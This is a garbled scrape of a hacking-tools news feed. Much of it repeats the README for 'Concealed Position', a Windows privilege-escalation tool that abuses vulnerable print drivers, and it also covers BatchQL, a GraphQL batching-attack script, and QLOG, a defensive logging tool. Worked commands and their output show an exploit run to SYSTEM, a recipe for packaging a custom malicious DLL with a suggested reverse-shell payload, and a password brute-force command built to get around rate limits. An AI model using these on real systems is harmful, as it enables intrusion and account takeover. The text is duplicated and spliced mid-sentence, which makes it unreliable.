Dark Reading: Attacks/Breaches
Research Highlights Significant Evolution in Email Security
Email security is in transition, from on-premises to the cloud, from inline to API-based, and from stand-alone to integrated into XDR. New research from Omdia highlights where the market is today, and where it is heading.
___________________________
@hacking_Attack
@Hacking_Video
Research Highlights Significant Evolution in Email Security
Email security is in transition, from on-premises to the cloud, from inline to API-based, and from stand-alone to integrated into XDR. New research from Omdia highlights where the market is today, and where it is heading.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
Research Highlights Significant Evolution in Email Security
Email security is in transition, from on-premises to the cloud, from inline to API-based, and from stand-alone to integrated into XDR. New research from Omdia highlights where the market is today, and where it is heading.
Hacking Articles Tips Tricks Videos Tutorials
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Kali Linux Tutorials
Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool
Concealed Position is a local privilege escalation attack against Windows using the concept of “Bring Your Own Vulnerability”. Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29. What Exploits Are Available
Concealed Position offers four exploits – all with equally dumb names:
* ACIDDAMAGE – CVE-2021-35449 – Lexmark Universal Print Driver LPE
* RADIANTDAMAGE – CVE-2021-38085 – Canon TR150 Print Driver LPE
* POISONDAMAGE – CVE-2019-19363 – Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE – CVE-2020-1300 – Windows Print Spooler LPE
The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver’s certificate – something that is not(?) historically done. But Which Exploit Should I Use?!
Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere. How Does It Work?
Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
It is important to note that SLASHINGDAMAGE doesn’t actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I’d leave the exploit in my evil server… as confusing as that may be. Is This A Windows Vulnerability?
Arguably, yes. The driver store is a “trusted collection of … third-party driver packages” that requires administrator access to modify. Using
Microsoft seemed to agree when they issued CVE-2021-34481.
Although… it’s arguable that this is simply a feature of the system and not a vulnerability at all. It really doesn’t matter all that much. An attacker can escalate to SYSTEM on standard Windows installs. Which Verions Of Windows Are Affected By CVE-2021-34481?
At least Windows 8.1 and above. How Do I Use These Tools?
Simple! So simple there will be many paragraphs to describe it! CP Server
First, let’s look at cp_server’s command line options:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || server!
CLI options:
-h, –help Display the help message
-e, –exploit arg The exploit to use
-c, –cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE[...]
___________________________
@hacking_Attack
@Hacking_Video
Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool
Concealed Position is a local privilege escalation attack against Windows using the concept of “Bring Your Own Vulnerability”. Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29. What Exploits Are Available
Concealed Position offers four exploits – all with equally dumb names:
* ACIDDAMAGE – CVE-2021-35449 – Lexmark Universal Print Driver LPE
* RADIANTDAMAGE – CVE-2021-38085 – Canon TR150 Print Driver LPE
* POISONDAMAGE – CVE-2019-19363 – Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE – CVE-2020-1300 – Windows Print Spooler LPE
The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver’s certificate – something that is not(?) historically done. But Which Exploit Should I Use?!
Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere. How Does It Work?
Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
It is important to note that SLASHINGDAMAGE doesn’t actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I’d leave the exploit in my evil server… as confusing as that may be. Is This A Windows Vulnerability?
Arguably, yes. The driver store is a “trusted collection of … third-party driver packages” that requires administrator access to modify. Using
GetPrinterDrivera low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.Microsoft seemed to agree when they issued CVE-2021-34481.
Although… it’s arguable that this is simply a feature of the system and not a vulnerability at all. It really doesn’t matter all that much. An attacker can escalate to SYSTEM on standard Windows installs. Which Verions Of Windows Are Affected By CVE-2021-34481?
At least Windows 8.1 and above. How Do I Use These Tools?
Simple! So simple there will be many paragraphs to describe it! CP Server
First, let’s look at cp_server’s command line options:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || server!
CLI options:
-h, –help Display the help message
-e, –exploit arg The exploit to use
-c, –cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE[...]
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool
Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability".
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool Concealed Position is a local privilege escalation attack against Windows using the concept of “Bring Your Own Vulnerability”. Specifically, Concealed Position…
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Above you can see the server requires two options:
* The exploit to configure the printer for
* A path to this repositories cab_files (.\cab_files\ is the default)
For example, let’s say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || server!
[+] Creating temporary space…
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
And that’s it, you’ll see a new printer on your system:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
—- ———— —- ———- ——– —— ——–
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri… Microsoft.Of… False False
Microsoft XPS Document Writer Local Microsoft XPS Document… PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D… SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Note that there is one manual step that
The process for using
The client is similarly easy to use. Let’s look at it’s command line options:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
CLI options:
-h, –help Display the help message
-r, –rhost arg The remote evil printer address
-n, –name arg The remote evil printer name
-e, –exploit arg The exploit to use
-l, –local No remote printer. Local attack only.
-d, –dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
First, I’d like to address the –dll option. The client has an embedded payload that will simply write the C:\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we’ll just assume the embedded payload.
___________________________
@hacking_Attack
@Hacking_Video
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Above you can see the server requires two options:
* The exploit to configure the printer for
* A path to this repositories cab_files (.\cab_files\ is the default)
For example, let’s say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || server!
[+] Creating temporary space…
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
And that’s it, you’ll see a new printer on your system:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
—- ———— —- ———- ——– —— ——–
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri… Microsoft.Of… False False
Microsoft XPS Document Writer Local Microsoft XPS Document… PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D… SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Note that there is one manual step that
cp_serverprompts you to do. Because I’m a junk hacker, I couldn’t figure out how to programmatically set the “Advanced Sharing Settings” -> “Turn off password protected sharing”. You’ll have to do that yourself!The process for using
SLASHINGDAMAGEis a little different. You’ll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and then you’ll still need to follow a couple of manual steps and reboot. CP ClientThe client is similarly easy to use. Let’s look at it’s command line options:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
CLI options:
-h, –help Display the help message
-r, –rhost arg The remote evil printer address
-n, –name arg The remote evil printer name
-e, –exploit arg The exploit to use
-l, –local No remote printer. Local attack only.
-d, –dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
First, I’d like to address the –dll option. The client has an embedded payload that will simply write the C:\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we’ll just assume the embedded payload.
cp_clienthas two modes: remote and lo[...]___________________________
@hacking_Attack
@Hacking_Video
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Kali Linux Tutorials
BatchQL : GraphQL Security Auditing Script With A Focus On Performing Batch GraphQL Queries And Mutations
BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.
When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.
GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.
Detections
This tool is capable of detecting the following:
* Introspection query support
* Schema suggestions detection
* Potential CSRF detection
* Query name based batching
* Query JSON list based batching
Attacks
Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.
Usage
Enumeration
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible… preflight request was successful.
Query JSON list based batching: GraphQL batching is possible… preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
Batching Attacks
* Save a file that contains your GraphQL query i.e.
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
Run the following command to run a GraphQL batching attack:
❯ python batch.py –query acc-login.txt –wordlist passwords.txt -v ‘{“loginInput”:{“email”:”admin@example.com”,”password”:”#VARIABLE#”,”rememberMe”:false}}’ –size 100 -e http://re.local:5000/graphiql -p localhost:8080
The above command does the following:
* Specifies a query from a local file
* Specifies a wordlist
* Specifies the variable input with the replacement identifier
* Specifies the batch size
* Specifies the endpoint
* Specifies a proxy
Download
___________________________
@hacking_Attack
@Hacking_Video
BatchQL : GraphQL Security Auditing Script With A Focus On Performing Batch GraphQL Queries And Mutations
BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.
When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.
GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.
Detections
This tool is capable of detecting the following:
* Introspection query support
* Schema suggestions detection
* Potential CSRF detection
* Query name based batching
* Query JSON list based batching
Attacks
Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.
Usage
Enumeration
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible… preflight request was successful.
Query JSON list based batching: GraphQL batching is possible… preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
Batching Attacks
* Save a file that contains your GraphQL query i.e.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
Run the following command to run a GraphQL batching attack:
❯ python batch.py –query acc-login.txt –wordlist passwords.txt -v ‘{“loginInput”:{“email”:”admin@example.com”,”password”:”#VARIABLE#”,”rememberMe”:false}}’ –size 100 -e http://re.local:5000/graphiql -p localhost:8080
The above command does the following:
* Specifies a query from a local file
--query acc-login.txt.* Specifies a wordlist
--wordlist passwords.txt* Specifies the variable input with the replacement identifier
-v {"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}* Specifies the batch size
--size 100* Specifies the endpoint
-e http://re.local:5000/graphiql* Specifies a proxy
-p localhost:8080Download
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
BatchQL : GraphQL Security Auditing Script With A Focus
BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
Hacking Articles Tips Tricks Videos Tutorials
RADIANTDAMAGE SLASHINGDAMAGE C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Above you can see the server requires two options: * The exploit to configure the printer for * A path to this repositories cab_files (.\cab_files\ is the default)…
cal. The remote option is the most interesting because it adds the vulnerable driver to the driver store (thus executing the bring your own print driver vulnerability), so we’ll go with that first. Let’s say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide:
* The exploit I want to use
* The evil printer IP address
* The name of the evil shared printer
Like this!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn’t exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
That’s it! To execute a local only attack, you just need to provide the exploit:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn’t exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Why Doesn’t The Client Have A SLASHINGDAMAGE Option?
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
It’s probably important to know that the version of
Do you want to submit a pull request or file a bug? Great! I appreciate that, but if you don’t provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I’ll close your issue without comment. I appreciate you, but I’m also pretty busy. Other Things
One thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you’ll need to manually update the C array as well (just use xxd to generate the array[...]
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* The exploit I want to use
* The evil printer IP address
* The name of the evil shared printer
Like this!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn’t exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
That’s it! To execute a local only attack, you just need to provide the exploit:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn’t exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Why Doesn’t The Client Have A SLASHINGDAMAGE Option?
SLASHINGDAMAGEdoesn’t need a special client for exploitation. You can just use the UI or the command line to connect to the remote printer and that’s it! Unfortunately, if you want to roll a custom payload you’ll need to update the CAB in the cab_files directory. But that’s easy. Something like this:echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
It’s probably important to know that the version of
SLASHINGDAMAGEin the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:\result.txt file. Pull Requests And BugsDo you want to submit a pull request or file a bug? Great! I appreciate that, but if you don’t provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I’ll close your issue without comment. I appreciate you, but I’m also pretty busy. Other Things
One thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you’ll need to manually update the C array as well (just use xxd to generate the array[...]
___________________________
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Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
QLOG : Windows Security Logging
QLOG provides enriched Event Logging for security related events on Windows based systems. It is under heavy development and currently in alpha state. QLOG doesn’t use API hooks and it doesn’t require a driver to be installed on the target system, QLOG only uses ETW to retrieve its telemetry. Currently QLOG supports “process create” events only, but other enriched events will follow soon. QLOG runs as a Windows Services, but can also run in console mode, if you want to stream the enriched events to console directly. How Does It Work
QLOG reads from ETW, enriches events and writes enriched events to Event Channel “QLOG”. It creates and uses a new event source named “QMonitor” to write to Windows Eventlog.
Here is sequence of event processing:
* Create ETW session & Subscribe to relevant kernel and userland ETW providers
* Read Events from ETW providers
* Enrich Events
* Write enriched events to eventlog channel QLOG Development & License
QLOG is being developed by threathunters.io community and will be open sourced once it reaches production grade maturity. Why we created QLOG?
Sysmon does a great job, but we wanted to create a tool which is open source and doesn’t require drivers to be installed on target systems. Also, Sysmon is NOT SUPPORTED by Microsoft at all. So, if you run into problems in prod, you’re at your own. Sure, QLOG doesn’t have support either, but it will be open sourced so we can fix issues with the power of the security community and develop new features based on the requirements of the community. Usage & Install
QLOG requires .NET Framework >=4.7.2 to be installed.
To run in interactive console mode, just run
qlog.exe
To install / deinstall as Windows service, run:
#install service
qlog.exe -i
#deinstall service
qlog.exe -u
Example Output Of Enriched PROCESS CREATE Events
{
“EventGuid”: “68795fe8-67e7-410b-a5c0-8364746d7ffe”,
“StartTime”: “2021-07-11T11:06:56.9621746+02:00”,
“QEventID”: 100,
“QType”: “Process Create”,
“Username”: “TESTOS\TESTUSER”,
“Imagefilename”: “TEAMS.EXE”,
“KernelImagefilename”: “TEAMS.EXE”,
“OriginalFilename”: “TEAMS.EXE”,
“Fullpath”: “C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe”,
“PID”: 21740,
“Commandline”: “\”C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe\” –type=renderer –autoplay-policy=no-user-gesture-required –disable-background-timer-throttling –field-trial-handle=1668,499009601563875864,12511830007210419647,131072 –enable-features=WebComponentsV0Enabled –disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess –lang=de –enable-wer –ms-teams-less-cors=522133263 –app-user-model-id=com.squirrel.Teams.Teams –app-path=\”C:\Users\jocke”,
“Modulecount”: 41,
“TTPHash”: “42AC63285408F5FD91668B16F8E9157FD97046AB63E84117A14E31A188DDC62F”,
“Imphash”: “F14F00FA1D4C82B933279C1A28957252”,
“sha256”: “155625190ECAA90E596CB258A07382184DB738F6EDB626FEE4B9652FA4EC1CC2”,
“md5”: “9453BC2A9CC489505320312F4E6EC21E”,
“sha1”: “7219CB54AC535BA55BC1B202335A6291FDC2D76E”,
“ProcessIntegrityLevel”: “None”,
“isOndisk”: true,
“isRunning”: true,
“Signed”: “Signature valid”,
“AuthenticodeHash”: “B8AD58EE5C35B3F80C026A318EEA34BABF6609C077CB3D45AEE69BF5C9CF8E11”,
“Signatures”: [
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:24:20”,
“NotAfter”: “02.12.2021 22:24:20”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8C15B4C98AD91E051EE5AF5F524A8729050B2A2”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:3BBD-E338-E9A1, OU=Microsoft America Operations, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”[...]
___________________________
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@Hacking_Video
QLOG : Windows Security Logging
QLOG provides enriched Event Logging for security related events on Windows based systems. It is under heavy development and currently in alpha state. QLOG doesn’t use API hooks and it doesn’t require a driver to be installed on the target system, QLOG only uses ETW to retrieve its telemetry. Currently QLOG supports “process create” events only, but other enriched events will follow soon. QLOG runs as a Windows Services, but can also run in console mode, if you want to stream the enriched events to console directly. How Does It Work
QLOG reads from ETW, enriches events and writes enriched events to Event Channel “QLOG”. It creates and uses a new event source named “QMonitor” to write to Windows Eventlog.
Here is sequence of event processing:
* Create ETW session & Subscribe to relevant kernel and userland ETW providers
* Read Events from ETW providers
* Enrich Events
* Write enriched events to eventlog channel QLOG Development & License
QLOG is being developed by threathunters.io community and will be open sourced once it reaches production grade maturity. Why we created QLOG?
Sysmon does a great job, but we wanted to create a tool which is open source and doesn’t require drivers to be installed on target systems. Also, Sysmon is NOT SUPPORTED by Microsoft at all. So, if you run into problems in prod, you’re at your own. Sure, QLOG doesn’t have support either, but it will be open sourced so we can fix issues with the power of the security community and develop new features based on the requirements of the community. Usage & Install
QLOG requires .NET Framework >=4.7.2 to be installed.
To run in interactive console mode, just run
qlog.exe
To install / deinstall as Windows service, run:
#install service
qlog.exe -i
#deinstall service
qlog.exe -u
Example Output Of Enriched PROCESS CREATE Events
{
“EventGuid”: “68795fe8-67e7-410b-a5c0-8364746d7ffe”,
“StartTime”: “2021-07-11T11:06:56.9621746+02:00”,
“QEventID”: 100,
“QType”: “Process Create”,
“Username”: “TESTOS\TESTUSER”,
